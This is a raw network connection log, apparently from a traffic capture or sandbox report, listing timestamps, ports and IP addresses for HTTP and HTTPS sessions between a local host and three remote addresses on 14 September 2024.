Sep 14, 2024 18:44:18.018475056 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:18.018485069 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:18.018498898 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:18.018512964 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:18.018522024 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:18.018543959 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:18.018553972 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:18.018567085 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:18.018580914 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:18.018594027 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:18.018604040 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:18.018615961 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:18.018625021 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:18.018636942 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:18.018651962 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:18.018666983 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:18.018676043 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:18.018688917 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:18.018702030 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:18.018716097 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:18.018732071 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:18.018748045 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:18.018762112 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:18.018775940 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:18.018785954 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:18.018799067 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:18.018812895 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:18.018826962 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:18.018841028 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:18.018856049 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:18.018867016 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:18.018878937 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:18.018893003 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:18.018903971 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:18.018915892 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:18.018930912 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:18.018939972 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:18.018975019 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:18.019121885 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:18.019134045 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:18.019159079 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:18.019174099 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:18.019182920 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:18.019195080 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:18.019210100 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:18.019224882 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:18.019233942 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:18.019247055 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:18.019260883 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:18.019272089 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:18.019285917 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:18.019299984 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:18.019308090 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:18.019320011 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:18.019332886 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:18.019341946 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:18.019355059 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:18.019368887 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:18.019376993 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:18.019402981 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:18.019414902 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:18.019428015 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:18.019443035 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:18.019457102 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:18.019474983 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:18.019483089 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:18.019499063 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:18.019505978 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:18.019531965 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:18.020107985 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:18.020122051 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:18.020143986 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:18.020158052 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:18.020165920 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:18.020179033 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:18.020188093 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:18.020200968 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:18.020215988 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:18.020224094 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:18.020236969 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:18.020250082 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:18.020261049 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:18.020272017 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:18.020283937 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:18.020298004 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:18.020311117 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:18.020320892 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:18.020334959 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:18.020343065 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:18.020358086 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:18.020365953 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:18.020380020 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:18.020395041 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:18.020404100 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:18.020416021 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:18.020430088 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:18.020438910 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:18.020452023 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:18.020462990 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:18.020474911 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:18.020488977 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:18.020519018 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:18.021126986 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:18.021142006 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:18.021155119 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:18.021169901 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:18.021178961 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:18.021192074 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:18.021202087 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:18.021214962 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:18.021229029 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:18.021238089 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:18.021250963 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:18.021265030 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:18.021282911 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:18.021290064 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:18.021301985 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:18.021316051 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:18.021327972 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:18.021342039 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:18.021348953 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:18.021363974 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:18.021382093 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:18.021392107 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:18.021426916 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:18.065582991 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:18.065602064 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:18.065615892 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:18.065629959 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:18.065644979 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:18.065661907 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:18.065789938 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:18.065804005 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:18.065820932 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:18.065882921 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:18.104948997 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:18.104996920 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:18.105011940 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:18.105026960 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:18.105051994 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:18.105067015 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:18.105082035 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:18.105098009 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:18.105113029 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:18.105129004 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:18.105226994 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:18.105282068 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:18.105315924 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:18.105384111 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:18.105400085 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:18.105415106 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:18.105441093 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:18.105453968 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:18.105467081 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:18.105474949 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:18.105489969 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:18.105505943 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:18.105523109 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:18.105536938 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:18.105621099 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:18.105736971 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:18.105752945 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:18.105803967 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:18.105942011 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:18.105956078 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:18.105972052 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:18.105986118 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:18.106000900 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:18.106015921 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:18.106030941 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:18.106040001 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:18.106050014 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:18.106059074 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:18.106071949 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:18.106086969 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:18.106096029 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:18.106110096 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:18.106125116 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:18.106133938 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:18.106148005 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:18.106163979 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:18.106173038 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:18.106225014 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:18.106379032 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:18.156332016 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:36.994396925 CEST	49724	443	192.168.2.6	104.21.17.45
Sep 14, 2024 18:44:36.994453907 CEST	443	49724	104.21.17.45	192.168.2.6
Sep 14, 2024 18:44:36.994525909 CEST	49724	443	192.168.2.6	104.21.17.45
Sep 14, 2024 18:44:37.001527071 CEST	49724	443	192.168.2.6	104.21.17.45
Sep 14, 2024 18:44:37.001548052 CEST	443	49724	104.21.17.45	192.168.2.6
Sep 14, 2024 18:44:37.219480991 CEST	49721	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:37.219588041 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:37.488974094 CEST	443	49724	104.21.17.45	192.168.2.6
Sep 14, 2024 18:44:37.489063025 CEST	49724	443	192.168.2.6	104.21.17.45
Sep 14, 2024 18:44:37.490890980 CEST	49724	443	192.168.2.6	104.21.17.45
Sep 14, 2024 18:44:37.490909100 CEST	443	49724	104.21.17.45	192.168.2.6
Sep 14, 2024 18:44:37.491255999 CEST	443	49724	104.21.17.45	192.168.2.6
Sep 14, 2024 18:44:37.546905041 CEST	49724	443	192.168.2.6	104.21.17.45
Sep 14, 2024 18:44:37.552139044 CEST	49724	443	192.168.2.6	104.21.17.45
Sep 14, 2024 18:44:37.552160978 CEST	49724	443	192.168.2.6	104.21.17.45
Sep 14, 2024 18:44:37.552263021 CEST	443	49724	104.21.17.45	192.168.2.6
Sep 14, 2024 18:44:38.212538004 CEST	443	49724	104.21.17.45	192.168.2.6
Sep 14, 2024 18:44:38.212645054 CEST	443	49724	104.21.17.45	192.168.2.6
Sep 14, 2024 18:44:38.212738037 CEST	49724	443	192.168.2.6	104.21.17.45
Sep 14, 2024 18:44:38.238020897 CEST	49724	443	192.168.2.6	104.21.17.45
Sep 14, 2024 18:44:38.238049030 CEST	443	49724	104.21.17.45	192.168.2.6
Sep 14, 2024 18:44:38.238064051 CEST	49724	443	192.168.2.6	104.21.17.45
Sep 14, 2024 18:44:38.238071918 CEST	443	49724	104.21.17.45	192.168.2.6
Sep 14, 2024 18:44:38.478977919 CEST	49725	443	192.168.2.6	172.67.72.137
Sep 14, 2024 18:44:38.479027033 CEST	443	49725	172.67.72.137	192.168.2.6
Sep 14, 2024 18:44:38.479105949 CEST	49725	443	192.168.2.6	172.67.72.137
Sep 14, 2024 18:44:38.481479883 CEST	49725	443	192.168.2.6	172.67.72.137
Sep 14, 2024 18:44:38.481502056 CEST	443	49725	172.67.72.137	192.168.2.6
Sep 14, 2024 18:44:38.976201057 CEST	443	49725	172.67.72.137	192.168.2.6
Sep 14, 2024 18:44:38.976380110 CEST	49725	443	192.168.2.6	172.67.72.137
Sep 14, 2024 18:44:39.006023884 CEST	49725	443	192.168.2.6	172.67.72.137
Sep 14, 2024 18:44:39.006052971 CEST	443	49725	172.67.72.137	192.168.2.6
Sep 14, 2024 18:44:39.006495953 CEST	443	49725	172.67.72.137	192.168.2.6
Sep 14, 2024 18:44:39.008302927 CEST	49725	443	192.168.2.6	172.67.72.137
Sep 14, 2024 18:44:39.008327007 CEST	49725	443	192.168.2.6	172.67.72.137
Sep 14, 2024 18:44:39.008335114 CEST	443	49725	172.67.72.137	192.168.2.6
Sep 14, 2024 18:44:40.033029079 CEST	443	49725	172.67.72.137	192.168.2.6
Sep 14, 2024 18:44:40.033126116 CEST	443	49725	172.67.72.137	192.168.2.6
Sep 14, 2024 18:44:40.033236027 CEST	49725	443	192.168.2.6	172.67.72.137
Sep 14, 2024 18:44:40.033458948 CEST	49725	443	192.168.2.6	172.67.72.137
Sep 14, 2024 18:44:40.033484936 CEST	443	49725	172.67.72.137	192.168.2.6
Sep 14, 2024 18:44:40.033499002 CEST	49725	443	192.168.2.6	172.67.72.137
Sep 14, 2024 18:44:40.033507109 CEST	443	49725	172.67.72.137	192.168.2.6
Sep 14, 2024 18:44:40.042881966 CEST	49726	443	192.168.2.6	172.67.72.137
Sep 14, 2024 18:44:40.042907000 CEST	443	49726	172.67.72.137	192.168.2.6
Sep 14, 2024 18:44:40.043001890 CEST	49726	443	192.168.2.6	172.67.72.137
Sep 14, 2024 18:44:40.043291092 CEST	49726	443	192.168.2.6	172.67.72.137
Sep 14, 2024 18:44:40.043308973 CEST	443	49726	172.67.72.137	192.168.2.6
Sep 14, 2024 18:44:40.501060963 CEST	443	49726	172.67.72.137	192.168.2.6
Sep 14, 2024 18:44:40.501149893 CEST	49726	443	192.168.2.6	172.67.72.137
Sep 14, 2024 18:44:40.502737999 CEST	49726	443	192.168.2.6	172.67.72.137
Sep 14, 2024 18:44:40.502747059 CEST	443	49726	172.67.72.137	192.168.2.6
Sep 14, 2024 18:44:40.503089905 CEST	443	49726	172.67.72.137	192.168.2.6
Sep 14, 2024 18:44:40.504576921 CEST	49726	443	192.168.2.6	172.67.72.137
Sep 14, 2024 18:44:40.504616976 CEST	49726	443	192.168.2.6	172.67.72.137
Sep 14, 2024 18:44:40.504667044 CEST	443	49726	172.67.72.137	192.168.2.6
Sep 14, 2024 18:44:41.152941942 CEST	443	49726	172.67.72.137	192.168.2.6
Sep 14, 2024 18:44:41.153040886 CEST	443	49726	172.67.72.137	192.168.2.6
Sep 14, 2024 18:44:41.153122902 CEST	49726	443	192.168.2.6	172.67.72.137
Sep 14, 2024 18:44:41.153320074 CEST	49726	443	192.168.2.6	172.67.72.137
Sep 14, 2024 18:44:41.153320074 CEST	49726	443	192.168.2.6	172.67.72.137
Sep 14, 2024 18:44:41.153347969 CEST	443	49726	172.67.72.137	192.168.2.6
Sep 14, 2024 18:44:41.153359890 CEST	443	49726	172.67.72.137	192.168.2.6
Sep 14, 2024 18:44:46.186836004 CEST	49727	443	192.168.2.6	172.67.72.137
Sep 14, 2024 18:44:46.186881065 CEST	443	49727	172.67.72.137	192.168.2.6
Sep 14, 2024 18:44:46.187022924 CEST	49727	443	192.168.2.6	172.67.72.137
Sep 14, 2024 18:44:46.187686920 CEST	49727	443	192.168.2.6	172.67.72.137
Sep 14, 2024 18:44:46.187700033 CEST	443	49727	172.67.72.137	192.168.2.6
Sep 14, 2024 18:44:46.797990084 CEST	443	49727	172.67.72.137	192.168.2.6
Sep 14, 2024 18:44:46.798060894 CEST	49727	443	192.168.2.6	172.67.72.137
Sep 14, 2024 18:44:46.801629066 CEST	49727	443	192.168.2.6	172.67.72.137
Sep 14, 2024 18:44:46.801640987 CEST	443	49727	172.67.72.137	192.168.2.6
Sep 14, 2024 18:44:46.801923037 CEST	443	49727	172.67.72.137	192.168.2.6
Sep 14, 2024 18:44:46.803174019 CEST	49727	443	192.168.2.6	172.67.72.137
Sep 14, 2024 18:44:46.803195000 CEST	49727	443	192.168.2.6	172.67.72.137
Sep 14, 2024 18:44:46.803239107 CEST	443	49727	172.67.72.137	192.168.2.6
Sep 14, 2024 18:44:47.570631027 CEST	443	49727	172.67.72.137	192.168.2.6
Sep 14, 2024 18:44:47.570940018 CEST	443	49727	172.67.72.137	192.168.2.6
Sep 14, 2024 18:44:47.571002960 CEST	49727	443	192.168.2.6	172.67.72.137
Sep 14, 2024 18:44:47.571589947 CEST	49727	443	192.168.2.6	172.67.72.137
Sep 14, 2024 18:44:47.571608067 CEST	443	49727	172.67.72.137	192.168.2.6
Sep 14, 2024 18:44:47.571619987 CEST	49727	443	192.168.2.6	172.67.72.137
Sep 14, 2024 18:44:47.571625948 CEST	443	49727	172.67.72.137	192.168.2.6
Sep 14, 2024 18:44:54.583062887 CEST	49728	443	192.168.2.6	172.67.72.137
Sep 14, 2024 18:44:54.583117008 CEST	443	49728	172.67.72.137	192.168.2.6
Sep 14, 2024 18:44:54.583405018 CEST	49728	443	192.168.2.6	172.67.72.137
Sep 14, 2024 18:44:54.583638906 CEST	49728	443	192.168.2.6	172.67.72.137
Sep 14, 2024 18:44:54.583650112 CEST	443	49728	172.67.72.137	192.168.2.6
Sep 14, 2024 18:44:55.069715023 CEST	443	49728	172.67.72.137	192.168.2.6
Sep 14, 2024 18:44:55.069890976 CEST	49728	443	192.168.2.6	172.67.72.137
Sep 14, 2024 18:44:55.071671009 CEST	49728	443	192.168.2.6	172.67.72.137
Sep 14, 2024 18:44:55.071680069 CEST	443	49728	172.67.72.137	192.168.2.6
Sep 14, 2024 18:44:55.072000980 CEST	443	49728	172.67.72.137	192.168.2.6
Sep 14, 2024 18:44:55.073561907 CEST	49728	443	192.168.2.6	172.67.72.137
Sep 14, 2024 18:44:55.073561907 CEST	49728	443	192.168.2.6	172.67.72.137
Sep 14, 2024 18:44:55.073627949 CEST	443	49728	172.67.72.137	192.168.2.6
Sep 14, 2024 18:44:55.983438015 CEST	443	49728	172.67.72.137	192.168.2.6
Sep 14, 2024 18:44:55.983536959 CEST	443	49728	172.67.72.137	192.168.2.6
Sep 14, 2024 18:44:55.983623028 CEST	49728	443	192.168.2.6	172.67.72.137
Sep 14, 2024 18:44:55.983895063 CEST	49728	443	192.168.2.6	172.67.72.137
Sep 14, 2024 18:44:55.983911037 CEST	443	49728	172.67.72.137	192.168.2.6
Sep 14, 2024 18:44:55.983954906 CEST	49728	443	192.168.2.6	172.67.72.137
Sep 14, 2024 18:44:55.983961105 CEST	443	49728	172.67.72.137	192.168.2.6
Sep 14, 2024 18:45:02.988698006 CEST	49729	443	192.168.2.6	172.67.72.137
Sep 14, 2024 18:45:02.988743067 CEST	443	49729	172.67.72.137	192.168.2.6
Sep 14, 2024 18:45:02.988817930 CEST	49729	443	192.168.2.6	172.67.72.137
Sep 14, 2024 18:45:02.989228010 CEST	49729	443	192.168.2.6	172.67.72.137
Sep 14, 2024 18:45:02.989236116 CEST	443	49729	172.67.72.137	192.168.2.6
Sep 14, 2024 18:45:03.448448896 CEST	443	49729	172.67.72.137	192.168.2.6
Sep 14, 2024 18:45:03.448545933 CEST	49729	443	192.168.2.6	172.67.72.137
Sep 14, 2024 18:45:03.449851036 CEST	49729	443	192.168.2.6	172.67.72.137
Sep 14, 2024 18:45:03.449862003 CEST	443	49729	172.67.72.137	192.168.2.6
Sep 14, 2024 18:45:03.450063944 CEST	443	49729	172.67.72.137	192.168.2.6
Sep 14, 2024 18:45:03.451330900 CEST	49729	443	192.168.2.6	172.67.72.137
Sep 14, 2024 18:45:03.451345921 CEST	49729	443	192.168.2.6	172.67.72.137
Sep 14, 2024 18:45:03.451397896 CEST	443	49729	172.67.72.137	192.168.2.6
Sep 14, 2024 18:45:04.148530006 CEST	443	49729	172.67.72.137	192.168.2.6
Sep 14, 2024 18:45:04.148648977 CEST	443	49729	172.67.72.137	192.168.2.6
Sep 14, 2024 18:45:04.148751974 CEST	49729	443	192.168.2.6	172.67.72.137
Sep 14, 2024 18:45:04.149125099 CEST	49729	443	192.168.2.6	172.67.72.137
Sep 14, 2024 18:45:04.149151087 CEST	443	49729	172.67.72.137	192.168.2.6
Sep 14, 2024 18:45:04.149163008 CEST	49729	443	192.168.2.6	172.67.72.137
Sep 14, 2024 18:45:04.149168015 CEST	443	49729	172.67.72.137	192.168.2.6
Sep 14, 2024 18:45:12.192481995 CEST	49731	443	192.168.2.6	172.67.72.137
Sep 14, 2024 18:45:12.192528009 CEST	443	49731	172.67.72.137	192.168.2.6
Sep 14, 2024 18:45:12.192606926 CEST	49731	443	192.168.2.6	172.67.72.137
Sep 14, 2024 18:45:12.192893028 CEST	49731	443	192.168.2.6	172.67.72.137
Sep 14, 2024 18:45:12.192910910 CEST	443	49731	172.67.72.137	192.168.2.6
Sep 14, 2024 18:45:12.808621883 CEST	443	49731	172.67.72.137	192.168.2.6
Sep 14, 2024 18:45:12.808746099 CEST	49731	443	192.168.2.6	172.67.72.137
Sep 14, 2024 18:45:12.810003996 CEST	49731	443	192.168.2.6	172.67.72.137
Sep 14, 2024 18:45:12.810028076 CEST	443	49731	172.67.72.137	192.168.2.6
Sep 14, 2024 18:45:12.810372114 CEST	443	49731	172.67.72.137	192.168.2.6
Sep 14, 2024 18:45:12.811939001 CEST	49731	443	192.168.2.6	172.67.72.137
Sep 14, 2024 18:45:12.811975956 CEST	49731	443	192.168.2.6	172.67.72.137
Sep 14, 2024 18:45:12.812031984 CEST	443	49731	172.67.72.137	192.168.2.6
Sep 14, 2024 18:45:13.456265926 CEST	443	49731	172.67.72.137	192.168.2.6
Sep 14, 2024 18:45:13.456350088 CEST	443	49731	172.67.72.137	192.168.2.6
Sep 14, 2024 18:45:13.456545115 CEST	49731	443	192.168.2.6	172.67.72.137
Sep 14, 2024 18:45:13.456545115 CEST	49731	443	192.168.2.6	172.67.72.137
Sep 14, 2024 18:45:13.456590891 CEST	49731	443	192.168.2.6	172.67.72.137
Sep 14, 2024 18:45:13.456615925 CEST	443	49731	172.67.72.137	192.168.2.6
Sep 14, 2024 18:45:18.473006010 CEST	49732	443	192.168.2.6	172.67.72.137
Sep 14, 2024 18:45:18.473052025 CEST	443	49732	172.67.72.137	192.168.2.6
Sep 14, 2024 18:45:18.473798990 CEST	49732	443	192.168.2.6	172.67.72.137
Sep 14, 2024 18:45:18.473798990 CEST	49732	443	192.168.2.6	172.67.72.137
Sep 14, 2024 18:45:18.473834991 CEST	443	49732	172.67.72.137	192.168.2.6
Sep 14, 2024 18:45:19.781009912 CEST	443	49732	172.67.72.137	192.168.2.6
